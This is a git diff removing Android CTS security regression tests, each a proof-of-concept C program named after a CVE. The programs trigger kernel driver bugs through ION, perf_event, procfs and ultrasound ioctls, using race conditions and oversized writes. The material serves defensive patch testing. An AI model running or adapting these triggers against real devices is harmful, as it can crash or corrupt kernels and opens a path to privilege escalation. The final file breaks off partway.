-static const unsigned short PortSamplesDataSize = 768;
-
-/* Encoder (TX), decoder (RX) supported US data formats */
-#define USF_POINT_EPOS_FORMAT 0
-#define USF_RAW_FORMAT 1
-
-/* Indexes of event types, produced by the calculators */
-#define USF_TSC_EVENT_IND 0
-#define USF_TSC_PTR_EVENT_IND 1
-#define USF_MOUSE_EVENT_IND 2
-#define USF_KEYBOARD_EVENT_IND 3
-#define USF_TSC_EXT_EVENT_IND 4
-#define USF_MAX_EVENT_IND 5
-
-/* Types of events, produced by the calculators */
-#define USF_NO_EVENT 0
-#define USF_TSC_EVENT (1 << USF_TSC_EVENT_IND)
-#define USF_TSC_PTR_EVENT (1 << USF_TSC_PTR_EVENT_IND)
-#define USF_MOUSE_EVENT (1 << USF_MOUSE_EVENT_IND)
-#define USF_KEYBOARD_EVENT (1 << USF_KEYBOARD_EVENT_IND)
-#define USF_TSC_EXT_EVENT (1 << USF_TSC_EXT_EVENT_IND)
-#define USF_ALL_EVENTS                                                        \
-  (USF_TSC_EVENT | USF_TSC_PTR_EVENT | USF_MOUSE_EVENT | USF_KEYBOARD_EVENT | \
-   USF_TSC_EXT_EVENT)
-void *child_ioctl_0(void *no_use);
-
-/* Info structure common for TX and RX */
-struct us_xx_info_type {
-  /* Input:  general info */
-  /* Name of the client - event calculator */
-  const char __user *client_name;
-  /* Selected device identification, accepted in the kernel's CAD */
-  uint32_t dev_id;
-  /* 0 - point_epos type; (e.g. 1 - gr_mmrd) */
-  uint32_t stream_format;
-  /* Required sample rate in Hz */
-  uint32_t sample_rate;
-  /* Size of a buffer (bytes) for US data transfer between the module and USF */
-  uint32_t buf_size;
-  /* Number of the buffers for the US data transfer */
-  uint16_t buf_num;
-  /* Number of the microphones (TX) or speakers(RX) */
-  uint16_t port_cnt;
-  /* Microphones(TX) or speakers(RX) indexes in their enumeration */
-  uint8_t port_id[USF_MAX_PORT_NUM];
-  /* Bits per sample 16 or 32 */
-  uint16_t bits_per_sample;
-  /* Input:  Transparent info for encoder in the LPASS */
-  /* Parameters data size in bytes */
-  uint16_t params_data_size;
-  /* Pointer to the parameters */
-  uint8_t __user *params_data;
-  /* Max size of buffer for get and set parameter */
-  uint32_t max_get_set_param_buf_size;
-};
-
-struct us_input_info_type {
-  /* Touch screen dimensions: min & max;for input module */
-  int tsc_x_dim[MIN_MAX_DIM];
-  int tsc_y_dim[MIN_MAX_DIM];
-  int tsc_z_dim[MIN_MAX_DIM];
-  /* Touch screen tilt dimensions: min & max;for input module */
-  int tsc_x_tilt[MIN_MAX_DIM];
-  int tsc_y_tilt[MIN_MAX_DIM];
-  /* Touch screen pressure limits: min & max; for input module */
-  int tsc_pressure[MIN_MAX_DIM];
-  /* The requested buttons bitmap */
-  uint16_t req_buttons_bitmap;
-  /* Bitmap of types of events (USF_X_EVENT), produced by calculator */
-  uint16_t event_types;
-  /* Bitmap of types of events from devs, conflicting with USF */
-  uint16_t conflicting_event_types;
-};
-
-struct us_tx_info_type {
-  /* Common info */
-  struct us_xx_info_type us_xx_info;
-  /* Info specific for TX*/
-  struct us_input_info_type input_info;
-};
-
-struct us_rx_info_type {
-  /* Common info */
-  struct us_xx_info_type us_xx_info;
-  /* Info specific for RX*/
-};
-
-struct us_stream_param_type {
-  /* Id of module */
-  uint32_t module_id;
-  /* Id of parameter */
-  uint32_t param_id;
-  /* Size of memory of the parameter buffer */
-  uint32_t buf_size;
-  /* Pointer to the memory of the parameter buffer */
-  uint8_t __user *pbuf;
-};
-
-#define USF_IOCTL_MAGIC 'U'
-
-#define US_SET_TX_INFO _IOW(USF_IOCTL_MAGIC, 0, struct us_tx_info_type)
-#define US_START_TX _IO(USF_IOCTL_MAGIC, 1)
-#define US_GET_TX_UPDATE \
-  _IOWR(USF_IOCTL_MAGIC, 2, struct us_tx_update_info_type)
-#define US_SET_RX_INFO _IOW(USF_IOCTL_MAGIC, 3, struct us_rx_info_type)
-#define US_SET_RX_UPDATE \
-  _IOWR(USF_IOCTL_MAGIC, 4, struct us_rx_update_info_type)
-#define US_START_RX _IO(USF_IOCTL_MAGIC, 5)
-
-#define US_STOP_TX _IO(USF_IOCTL_MAGIC, 6)
-#define US_STOP_RX _IO(USF_IOCTL_MAGIC, 7)
-
-#define US_SET_TX_STREAM_PARAM \
-  _IOW(USF_IOCTL_MAGIC, 10, struct us_stream_param_type)
-#define US_GET_TX_STREAM_PARAM \
-  _IOWR(USF_IOCTL_MAGIC, 11, struct us_stream_param_type)
-#define US_SET_RX_STREAM_PARAM \
-  _IOW(USF_IOCTL_MAGIC, 12, struct us_stream_param_type)
-#define US_GET_RX_STREAM_PARAM \
-  _IOWR(USF_IOCTL_MAGIC, 13, struct us_stream_param_type)
-
-int fd;
-pthread_t thread_id[THREAD_NUM + 1] = {0};
-int thread_ret[THREAD_NUM] = {0};
-
-static struct us_stream_param_type s_stream_param;
-
-// TX configuration
-static struct us_tx_info_type s_tx_info;
-
-// RX configuration
-static struct us_rx_info_type s_rx_info;
-
-// Valid TX configurations
-static void set_valid_tx_configuration(void);
-
-// Valid RX configurations
-static void set_valid_rx_configuration(void);
-
-// Valid configurations implementations
-static void set_valid_tx_configuration() {
-  const unsigned short FrameHdrSizeBytes = 12;
-
-  typedef struct {
-    unsigned short skipFactor;
-    unsigned short groupFactor;
-    unsigned int frameSize;
-  } TransparentDataTxType;
-  static TransparentDataTxType transparentTxData;
-  transparentTxData.skipFactor = 1;
-  transparentTxData.groupFactor = 2;
-  transparentTxData.frameSize = PortSamplesDataSize;
-
-  s_tx_info.us_xx_info.client_name = "tester";
-  s_tx_info.us_xx_info.dev_id = 0;
-  s_tx_info.us_xx_info.stream_format = USF_RAW_FORMAT;
-  s_tx_info.us_xx_info.sample_rate = 96000;
-  s_tx_info.us_xx_info.buf_num = 8;
-  s_tx_info.us_xx_info.port_cnt = 3;
-  s_tx_info.us_xx_info.port_id[0] = 1;
-  s_tx_info.us_xx_info.port_id[1] = 2;
-  s_tx_info.us_xx_info.port_id[2] = 5;
-  s_tx_info.us_xx_info.bits_per_sample = 16;
-
-  s_tx_info.us_xx_info.params_data_size = sizeof(TransparentDataTxType);
-  s_tx_info.us_xx_info.params_data = (unsigned char *)&transparentTxData;
-
-  unsigned short frame_size = PortSamplesDataSize *
-                                  (s_tx_info.us_xx_info.bits_per_sample / 8) *
-                                  s_tx_info.us_xx_info.port_cnt +
-                              FrameHdrSizeBytes;
-  s_tx_info.us_xx_info.buf_size = frame_size * transparentTxData.groupFactor;
-
-  s_tx_info.input_info.event_types = USF_ALL_EVENTS;
-  s_tx_info.input_info.tsc_x_dim[0] = 0;
-  s_tx_info.input_info.tsc_x_dim[1] = 480;
-  s_tx_info.input_info.tsc_y_dim[0] = 0;
-  s_tx_info.input_info.tsc_y_dim[1] = 800;
-
-  s_tx_info.input_info.tsc_pressure[0] = 0;
-  s_tx_info.input_info.tsc_pressure[1] = 1;
-
-  // for fail
-  s_tx_info.us_xx_info.max_get_set_param_buf_size = (uint32_t) 100000000000000;
-}  // set_valid_tx_configuration
-
-static void set_valid_rx_configuration() {
-  typedef struct {
-    unsigned short frameSize;
-    unsigned short groupFactor;
-  } TransparentDataRxType;
-  static TransparentDataRxType transparentRxData;
-  unsigned short frame_size = 0;
-
-  transparentRxData.frameSize = PortSamplesDataSize;
-  transparentRxData.groupFactor = 1;
-
-  s_rx_info.us_xx_info.client_name = "tester";
-  s_rx_info.us_xx_info.dev_id = 0;
-  s_rx_info.us_xx_info.stream_format = USF_RAW_FORMAT;
-  s_rx_info.us_xx_info.sample_rate = 96000;
-  s_rx_info.us_xx_info.buf_num = 3;
-  s_rx_info.us_xx_info.port_cnt = 1;
-  s_rx_info.us_xx_info.port_id[0] = 1;
-  s_rx_info.us_xx_info.bits_per_sample = 16;
-  s_rx_info.us_xx_info.params_data_size = sizeof(TransparentDataRxType);
-  s_rx_info.us_xx_info.params_data = (unsigned char *)&transparentRxData;
-
-  frame_size = PortSamplesDataSize *
-               (s_rx_info.us_xx_info.bits_per_sample / 8) *
-               s_rx_info.us_xx_info.port_cnt;
-  // group size
-  s_rx_info.us_xx_info.buf_size = frame_size * transparentRxData.groupFactor;
-
-  // for fail
-  s_rx_info.us_xx_info.max_get_set_param_buf_size = (uint32_t) 100000000000000;
-}  // set_valid_rx_configuration
-
-static int set_affinity(int num) {
-  int ret = 0;
-  cpu_set_t mask;
-  CPU_ZERO(&mask);
-  CPU_SET(num, &mask);
-  ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
-  if (ret == -1) {
-    printf("[-] set affinity failed: [%d]-%s\n", errno, strerror(errno));
-  }
-  return ret;
-}
-
-void *child_ioctl_0(void *no_use) {
-  int ret = 1;
-  set_affinity(1);
-
-  while (1) {
-    ret = ioctl(fd, US_SET_RX_INFO, &s_tx_info);
-  }
-}
-
-int main() {
-  int i, ret;
-
-  s_stream_param.module_id = 10;
-  s_stream_param.param_id = 11;
-  s_stream_param.buf_size = 0x100;
-  /* bind_cpu */
-  set_affinity(0);
-
-  set_valid_tx_configuration();
-  set_valid_rx_configuration();
-
-  /* open dev */
-  fd = open(DEV, O_RDONLY);
-  if (fd == -1) {
-    return 0;
-  }
-
-  /* create thread */
-  for (i = 0; i < THREAD_NUM; i = i + 1) {
-    thread_ret[i] = pthread_create(thread_id + i, NULL, child_ioctl_0, NULL);
-  }
-
-  sleep(3);
-
-  while (1) {
-    ret = ioctl(fd, US_GET_RX_STREAM_PARAM, &s_stream_param);
-    usleep(100);
-  }
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk
deleted file mode 100644
index f380045..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-9120
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-9120/poc.c b/hostsidetests/security/securityPatch/CVE-2016-9120/poc.c
deleted file mode 100644
index c03ee45..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-9120/poc.c
+++ /dev/null
@@ -1,175 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <errno.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <dirent.h>
-#include <string.h>
-#include <sys/stat.h>
-#include <sys/ioctl.h>
-#include <stdio.h>
-#include <string.h>
-#include <dlfcn.h>
-#include <sys/time.h>
-#include <sys/mman.h>
-#include <sys/syscall.h>
-#include <sys/resource.h>
-#include <fcntl.h>
-#include <pthread.h>  
-#include <unistd.h> 
-#include <sched.h>
-
-typedef int ion_user_handle_t;
-
-enum ion_heap_type {
-	ION_HEAP_TYPE_SYSTEM,
-	ION_HEAP_TYPE_SYSTEM_CONTIG,
-	ION_HEAP_TYPE_CARVEOUT,
-	ION_HEAP_TYPE_CHUNK,
-	ION_HEAP_TYPE_DMA,
-	ION_HEAP_TYPE_CUSTOM, /* must be last so device specific heaps always
-				 are at the end of this enum */
-	ION_NUM_HEAPS = 16,
-};
-
-#define ION_HEAP_SYSTEM_MASK		(1 << ION_HEAP_TYPE_SYSTEM)
-#define ION_HEAP_SYSTEM_CONTIG_MASK	(1 << ION_HEAP_TYPE_SYSTEM_CONTIG)
-#define ION_HEAP_CARVEOUT_MASK		(1 << ION_HEAP_TYPE_CARVEOUT)
-#define ION_HEAP_TYPE_DMA_MASK		(1 << ION_HEAP_TYPE_DMA)
-
-#define ION_NUM_HEAP_IDS		sizeof(unsigned int) * 8
-
-struct ion_allocation_data {
-	size_t len;
-	size_t align;
-	unsigned int heap_id_mask;
-	unsigned int flags;
-	ion_user_handle_t handle;
-};
-
-
-struct ion_fd_data {
-	ion_user_handle_t handle;
-	int fd;
-};
-
-
-struct ion_handle_data {
-	ion_user_handle_t handle;
-};
-
-
-struct ion_custom_data {
-	unsigned int cmd;
-	unsigned long arg;
-};
-#define ION_IOC_MAGIC		'I'
-
-#define ION_IOC_ALLOC		_IOWR(ION_IOC_MAGIC, 0, \
-				      struct ion_allocation_data)
-
-#define ION_IOC_FREE		_IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data)
-
-
-#define ION_FLAG_CACHED 1		/* mappings of this buffer should be
-					   cached, ion will do cache
-					   maintenance when the buffer is
-					   mapped for dma */
-#define ION_FLAG_CACHED_NEEDS_SYNC 2	/* mappings of this buffer will created
-					   at mmap time, if this is set
-					   caches must be managed manually */
-                       
-int g_fd = -1;
-struct ion_allocation_data* g_allocation = NULL;
-struct ion_handle_data g_free_data;
-static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
-static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
-
-int open_driver() {
-    char* dev_path = "/dev/ion";
-    g_fd = open(dev_path, O_RDONLY);
-    if (g_fd < 0) {
-        printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
-    } else {
-        printf("[*] open file(%s) succ!\n", dev_path);
-    }
-    return g_fd;
-}
-
-void prepare_data() {
-    void* data = malloc(0x1000);
-    
-    g_allocation = (struct ion_allocation_data*)data;
-    
-    g_allocation->len = 0x1000;
-    g_allocation->align = 8;
-    g_allocation->heap_id_mask = 1 << 25;
-    g_allocation->flags = ION_FLAG_CACHED;
-    g_allocation->handle = -1;
-    
-    mprotect(data, 0x1000, PROT_READ);
-    printf("[*] mprotect, error = %d\n", errno);
-    
-    g_free_data.handle = 1;
-}
-
-void trigger_ion_alloc() {
-    ioctl(g_fd, ION_IOC_ALLOC, g_allocation);
-}
-
-void trigger_ion_free() {
-    ioctl(g_fd, ION_IOC_FREE, &g_free_data);
-}
-
-void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
-    setpriority(PRIO_PROCESS, gettid(), privi);
-
-    /* bind process to a CPU*/
-    if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
-    }
-}
-void* race_thread(void* arg) {
-    setup_privi_and_affinity(-19, 2);
-    while (1) {
-        pthread_mutex_lock(&mutex);
-        pthread_cond_wait(&cond, &mutex);
-        trigger_ion_free();
-        pthread_mutex_unlock(&mutex);  
-    }
-    
-}
-
-
-int main(int argc, char**argv) {
-    if (open_driver() < 0) {
-        return -1;
-    }
-    setup_privi_and_affinity(0, 1);
-    prepare_data();
-    pthread_t tid;
-    pthread_create(&tid, NULL, race_thread, NULL);
-    sleep(1);
-    while (1) {
-        pthread_cond_signal(&cond);
-        usleep(100);
-        trigger_ion_alloc();
-        sleep(1);
-    }
-
-    return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk
deleted file mode 100644
index df21f39..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0403
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0403/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0403/poc.c
deleted file mode 100644
index 51095e7..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0403/poc.c
+++ /dev/null
@@ -1,233 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-//overwrite object+0x20,like a list initilize
-#include <unistd.h>
-#include <sys/syscall.h>
-#include <string.h>
-#include <sys/wait.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <pthread.h>
-#include <sys/ioctl.h>
-
-
-struct perf_event_attr {
-
-  /*
-   * Major type: hardware/software/tracepoint/etc.
-   */
-  __u32     type;
-
-  /*
-   * Size of the attr structure, for fwd/bwd compat.
-   */
-  __u32     size;
-
-  /*
-   * Type specific configuration information.
-   */
-  __u64     config;
-
-  union {
-    __u64   sample_period;
-    __u64   sample_freq;
-  };
-
-  __u64     sample_type;
-  __u64     read_format;
-
-  __u64     disabled       :  1, /* off by default        */
-        inherit        :  1, /* children inherit it   */
-        pinned         :  1, /* must always be on PMU */
-        exclusive      :  1, /* only group on PMU     */
-        exclude_user   :  1, /* don't count user      */
-        exclude_kernel :  1, /* ditto kernel          */
-        exclude_hv     :  1, /* ditto hypervisor      */
-        exclude_idle   :  1, /* don't count when idle */
-        mmap           :  1, /* include mmap data     */
-        comm         :  1, /* include comm data     */
-        freq           :  1, /* use freq, not period  */
-        inherit_stat   :  1, /* per task counts       */
-        enable_on_exec :  1, /* next exec enables     */
-        task           :  1, /* trace fork/exit       */
-        watermark      :  1, /* wakeup_watermark      */
-        /*
-         * precise_ip:
-         *
-         *  0 - SAMPLE_IP can have arbitrary skid
-         *  1 - SAMPLE_IP must have constant skid
-         *  2 - SAMPLE_IP requested to have 0 skid
-         *  3 - SAMPLE_IP must have 0 skid
-         *
-         *  See also PERF_RECORD_MISC_EXACT_IP
-         */
-        precise_ip     :  2, /* skid constraint       */
-        mmap_data      :  1, /* non-exec mmap data    */
-        sample_id_all  :  1, /* sample_type all events */
-
-        exclude_host   :  1, /* don't count in host   */
-        exclude_guest  :  1, /* don't count in guest  */
-
-        exclude_callchain_kernel : 1, /* exclude kernel callchains */
-        exclude_callchain_user   : 1, /* exclude user callchains */
-        constraint_duplicate : 1,
-
-        __reserved_1   : 40;
-
-  union {
-    __u32   wakeup_events;    /* wakeup every n events */
-    __u32   wakeup_watermark; /* bytes before wakeup   */
-  };
-
-  __u32     bp_type;
-  union {
-    __u64   bp_addr;
-    __u64   config1; /* extension of config */
-  };
-  union {
-    __u64   bp_len;
-    __u64   config2; /* extension of config1 */
-  };
-  __u64 branch_sample_type; /* enum perf_branch_sample_type */
-
-  /*
-   * Defines set of user regs to dump on samples.
-   * See asm/perf_regs.h for details.
-   */
-  __u64 sample_regs_user;
-
-  /*
-   * Defines size of the user stack to dump on samples.
-   */
-  __u32 sample_stack_user;
-
-  /* Align to u64. */
-  __u32 __reserved_2;
-};
-
-
-#define PAIR_FD 1
-
-int group_fd[PAIR_FD],child_fd[PAIR_FD];
-
-long created = 0;
-long freed = 0;
-long finished = 0;
-
-void *thr(void *arg) {
-  printf("id=%d arg=%d\n",gettid(),arg);
-
-  int i;
-  struct perf_event_attr attr;
-
-  switch ((long)arg) {
-  case 0:
-    //#16123
-    printf("thread 0\n");
-    memset(&attr,0,sizeof(struct perf_event_attr));
-    attr.type = 1;
-    attr.size = sizeof(struct perf_event_attr);
-    attr.config = 1;
-
-      group_fd[0] = syscall(__NR_perf_event_open, &attr, 0x0ul, -1,
-                    -1, 0x1ul, 0);
-
-      if(group_fd[0]<0){
-        perror("perf-group:");
-      }
-
-
-    memset(&attr,0,sizeof(struct perf_event_attr));
-    attr.type = 1;
-    attr.size = sizeof(struct perf_event_attr);
-    attr.config = 5;
-
-      child_fd[0] = syscall(__NR_perf_event_open, &attr,0x0ul, 0x6ul, group_fd[0], 0x0ul, 0);
-
-      if(group_fd[0]<0){
-        perror("perf-child:");
-      }
-
-    created = 1;
-    break;
-  case 1:
-
-    while(!created){
-      sleep(1);
-    }
-
-    printf("thread 1\n");
-    close(group_fd[0]);
-
-    freed = 1;
-
-    break;
-  case 2:
-
-    printf("thread 2\n");
-
-    while(!freed){
-      sleep(1);
-    }
-
-      close(child_fd[0]);
-
-    finished = 1;
-
-    break;
-
-  }
-  return 0;
-}
-
-int poc() {
-  long i;
-  pthread_t th[5];
-  for (i = 0; i < 3; i++) {
-    pthread_create(&th[i], 0, thr, (void *)i);
-    usleep(10000);
-  }
-
-  while(!finished){
-    sleep(1);
-  }
-
-  return 0;
-}
-
-
-int main(int argc, char const *argv[])
-{
-  int pid;
-  unsigned int times;
-  times = 0;
-  printf("POC3\n");
-  printf("Please enable CONFIG_SLUB_DEBUG_ON and check the posion overwriten message in kernel\n");
-  fflush(stdout);
-
-  // while(1){
-    pid = fork();
-    if(pid){
-      int status;
-      int ret = waitpid(pid,&status,0);
-
-      printf("[%d]times.\r",times);
-      times++;
-    }else
-      return poc();
-  // }
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk
deleted file mode 100644
index c84040c..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0404
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0404/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0404/poc.c
deleted file mode 100644
index 54821ef..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0404/poc.c
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <string.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <sys/prctl.h>
-#include <sys/syscall.h>
-#include <sys/types.h>
-#include <pthread.h>
-#include <fcntl.h>
-#include <sys/stat.h>
-#include <semaphore.h>
-#include <sys/socket.h>
-#include <sys/mman.h>
-#include <signal.h>
-#include <sys/wait.h>
-#include <sys/ioctl.h>
-#include <sys/utsname.h>
-#include <sys/ptrace.h>
-
-char buf[4096];
-
-int main(int argc, char const *argv[]){
-	memset(buf, 0xa0, sizeof(buf));
-
-	int fd = open("/proc/asound/version", O_RDWR);
-	if(fd != -1){
-		lseek(fd, 0x1234567800000000, SEEK_SET);
-		write(fd, buf, sizeof(buf));
-	}else{
-		perror("open error\n");
-	}
-	close(fd);
-	return 0;
-}
\ No newline at end of file
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk
deleted file mode 100644
index 8c74e4c..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0429
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0429/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0429/poc.c
deleted file mode 100644
index 4ef1b3e..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0429/poc.c
+++ /dev/null
@@ -1,179 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <stdio.h>
-#include <stdlib.h>
-#include <pthread.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <errno.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sched.h>
-#include <sys/types.h>
-#include <signal.h>
-#include <unistd.h>
-// for syscall
-#include <sys/syscall.h>
-// for futex
-#include <linux/futex.h>
-#include <sys/time.h>
-
-#define LOG(fmt, ...)   printf(fmt "\n", ##__VA_ARGS__)
-#define ERR(fmt, ...)   printf(fmt ": %d(%d)\n", ##__VA_ARGS__, errno, errno)
-#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
-
-#define NVMAP_IOC_MAGIC 'N'
-struct nvmap_create_handle {
-	union {
-		__u32 id;	/* FromId */
-		__u32 size;	/* CreateHandle */
-		__s32 fd;	/* DmaBufFd or FromFd */
-	};
-	__u32 handle;		/* returns nvmap handle */
-};
-#define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
-
-struct nvmap_alloc_handle {
-	__u32 handle;		/* nvmap handle */
-	__u32 heap_mask;	/* heaps to allocate from */
-	__u32 flags;		/* wb/wc/uc/iwb etc. */
-	__u32 align;		/* min alignment necessary */
-};
-#define NVMAP_IOC_ALLOC    _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
-
-static int set_affinity(int num)
-{
-	int ret = 0;
-	cpu_set_t mask;
-	CPU_ZERO(&mask);
-	CPU_SET(num, &mask);
-	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
- 	return ret;
-}
-
